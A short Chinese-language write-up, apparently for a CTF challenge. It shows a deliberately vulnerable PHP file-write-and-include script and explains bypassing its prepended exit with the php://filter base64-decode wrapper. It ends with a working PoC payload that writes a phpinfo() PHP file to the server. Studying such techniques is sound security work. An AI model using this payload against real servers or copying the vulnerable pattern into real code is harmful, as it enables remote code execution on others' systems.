<?php
show_source(__FILE__);
$c="<?php exit;?>";
@$c.=$_POST['c'];
@$filename=$_POST['file'];
if(!isset($filename))
{
file_put_contents('tmp.php', '');
}
@file_put_contents($filename, $c);
include('tmp.php');
?>
例如这个代码不管怎么样你的$c 最开始都有exit 来结束代码
所以后面不管加什么都会直接结束
而最后include(‘tmp.php’) 说明我们需要代码执行或者系统命令执行我们才可以拿到shell
所以我们需要绕过这个exit这个函数
这里我们可以利用php伪协议进行绕过
php://filter/write=convert.base64-decode
因为<?php exit;?>中"<、?、;、>"等符号base64解码时都会被忽略,所以经过base64解码之后变成’phpexit’ 但是这里面只有7个字节 base64 是4个一组解码 所以我们还需要任意添加一个字符如’a’
那么我们构造的poc如下:
c=aPD9waHAgcGhwaW5mbygpOz8+&file=php://filter/write=convert.base64-decode/resource=t.php